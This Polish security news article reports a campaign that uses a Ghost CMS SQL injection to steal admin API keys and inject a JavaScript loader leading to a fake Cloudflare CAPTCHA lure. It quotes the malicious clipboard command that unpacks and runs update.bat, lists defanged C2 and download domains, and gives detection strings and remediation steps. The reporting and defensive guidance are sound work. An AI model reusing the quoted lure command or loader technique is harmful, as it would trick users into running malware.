Badacze z XLab wykryli kampanię wymierzoną w strony wykorzystujące Ghost CMS. Atakujący wykorzystał podatność SQL injection (CVE-2026-26980) do uzyskania klucza API, a następnie użył go do masowego modyfikowania treści, wstrzykując złośliwy kod JavaScript.
TLDR:
Atakujący wykorzystują podatność SQL injection (CVE-2026-26980) w Ghost CMS do kradzieży Admin API Key i masowego wstrzykiwania złośliwego JavaScriptu do artykułów.
Kampania objęła ponad 700 domen, w tym strony uczelni, SaaS, fintech i mediów.
Wstrzyknięty loader pobiera z serwera C2 kolejne etapy ataku prowadzące do kampanii ClickFix/Fake CAPTCHA.
Ofiary są nakłaniane do ręcznego uruchomienia malware poprzez fałszywą weryfikację Cloudflare.
Chociaż podatność CVE-2026-26980 została publicznie ujawniona już 19 lutego, wiele stron nie zostało załatanych, co stworzyło okazję dla atakujących. Badacze zidentyfikowali łącznie ponad 700 domen, które zostały zainfekowane – mowa o stronach uniwersytetów, SaaS, fintech, mediów, ale także blockchain czy AI.
Źródłem problemu jest podatność CVE-2026-26980 (SQL injection), która pozwalała atakującym odczytać zawartość baz danych – w tym klucz API. Ghost korzysta z dwóch typów kluczy:
Content API Key: domyślnie tylko do odczytu, używany przez frontend do wyświetlania opublikowanych treści;
Admin API Key: posiada uprawnienia administracyjne do artykułów, motywów, użytkowników itd. i może wykonywać na nich operacje CRUD;
Po pomyślnym uzyskaniu klucza Admin API Key docelowej strony atakujący modyfikuje treść artykułów poprzez API, wstawiając złośliwy kod na dole artykułu.
Dla funkcji atob() podano jako parametr zakodowany w Base64 adres serwera C2 (https[:]//clo4shara[.]xyz/11z77u3[.]php). Całość jest przykładem dwuetapowego loadera: pierwszy etap zostaje zapisany w bazie danych Ghost dla danego artykułu, a właściwy payload jest zwracany przez C2. Atakujący może więc zmieniać scenariusz ataku bez konieczności ponownego przejmowania strony.
Badacze pobrali z C2 fragment kodu, który jest w rzeczywistości typowym skryptem dystrybucji ruchu. Jego główną funkcją jest zbieranie różnych informacji fingerprint z przeglądarki użytkownika i wysyłanie ich na serwer, a następnie wykonywanie działań takich jak przekierowania, popupy i pobierania na podstawie zwróconych instrukcji. Po analizie uważamy, że ten skrypt PHP nie został opracowany niezależnie przez atakujących, lecz pochodzi od komercyjnego dostawcy usług Cloaking Adspect. W złośliwych scenariuszach technologia Cloaking umożliwia witrynom dynamiczne przełączanie treści w zależności od tożsamości odwiedzającego: prawdziwe ofiary otrzymują złośliwy payload, podczas gdy badacze bezpieczeństwa lub crawlery widzą jedynie nieszkodliwą „bezpieczną stronę”.
Zbieranie fingerprintów
Kod tworzy fingerprint ofiary z wielu informacji, takich jak przeglądarka, system i hardware (np. parametry WebGL, Navigator, strefa czasowa itd.). Wygenerowany w ten sposób identyfikator jest przesyłany do serwera C2.
Strona wspomniana w poprzednim rozdziale podszywa się pod mechanizm weryfikacji Cloudflare. Jest to znana nam metoda, o której pisaliśmy już na sekuraku.
Gdy użytkownik kliknie “Verify”, strona prowadzi go do wykonania kolejno trzech kroków w celu przejścia weryfikacji:
Równocześnie strona uruchamia opóźnione o 500 milisekund (zapewne aby zmniejszyć szanse na zauważenie przez użytkownika) pobieranie pliku z https[:]//cloud-verification[.]com/update[.]zip.
Pobrany payload ma zostać uruchomiony przez użytkownika, za pomocą polecenia, które strona umieszcza w jego schowku:
cmd /c “move %USERPROFILE%\Downloads\update.zip %TEMP%\u.zip && tar -xf %TEMP%\u.zip -C %TEMP% && start /min “” %TEMP%\update.bat” & REM* I am not a robot reCAPTCHA Verification ID:2771
Po uruchomieniu złośliwych poleceń archiwum ZIP przenoszone jest z pobranych do katalogu tymczasowego, a następnie rozpakowane. Na koniec w tle wykonywany jest złośliwy plik update.bat. Ostatnia linia pozoruje kod weryfikacyjny reCAPTCHA, zapewne w celu uśpienia czujności użytkownika.
Badacze zidentyfikowali 4 różne adresy pobierania – ich podstawowa logika jest jednak taka sama: pobranie pliku DLL i wywołanie funkcji Begin przez rundll32. Jedna z próbek uruchamia plik kolejnego etapu – UtilifySetup.exe – który jest programem opartym na Electronie.
Rys. 5 – fragment index.js złośliwej aplikacji Electron, źródło: blog.xlab.qianxin.com
Po deobfuskacji nietrudno zauważyć, że wykorzystuje wbudowane w Electron API setLoginItemSettings do osiągnięcia persystencji, a dodatkowo co 30 sekund wysyła żądanie POST do serwera web-telegram[.]ug. Zależnie od otrzymanej odpowiedzi, malware może wykonywać dowolny kod JS lub uruchamiać pliki wykonywalne.
Jeśli korzystacie z Ghost, upewnijcie się, czy używacie aktualnej wersji. Jeśli nie – pilnie zaktualizujcie do najnowszej dostępnej.
W ramach sprawdzenia, czy strona nie padła ofiarą ataku, polecamy sprawdzić treść wpisów – czy zawierają którykolwiek z poniższych fragmentów:
sj.ssc/ipa/ lub ghost_once_footer_
atob( i appendChild występujące razem w treści artykułu
btoa(a.origin)
Warto także sprawdzić logi backendu pod kątem nietypowych żądań PUT do /ghost/api/admin/posts/:id/, zwłaszcza pochodzących z nieznanych adresów IP. Dodatkowe obszary do sprawdzenia to konfiguracja i pliki motywów – czy nie zostały dodane dodatkowe tagi <script> – oraz lista kluczy API Ghost.
W przypadku znalezienia złośliwej zawartości, zalecamy zrotowanie wszelkich poświadczeń: Admin API Key, Content API Key, hasło administratora, unieważnienie aktywnych sesji. Oczywiście należy także usunąć dodaną do treści strony złośliwą zawartość.
Z poziomu użytkownika można sprawdzić historię przeglądania i pobierania, szukając w niej złośliwych domen (pełna lista na końcu tekstu). Kluczowa jest jednak świadomość w zakresie cyberbezpieczeństwa. Nie należy wklejać jakichkolwiek treści w oknie uruchamiania, wierszu poleceń, pasku Eksploratora plików ani w konsoli przeglądarki, jeśli zostajemy o to poproszeni.
W organizacjach warto rozważyć całkowite zablokowanie okna Windows Run – zazwyczaj nie jest to niezbędne narzędzie, a stanowi łatwą metodę na pobranie i uruchomienie złośliwego oprogramowania w pozornie “niewinny” sposób. O tym, jak je zablokować, wspominaliśmy pod koniec tego tekstu.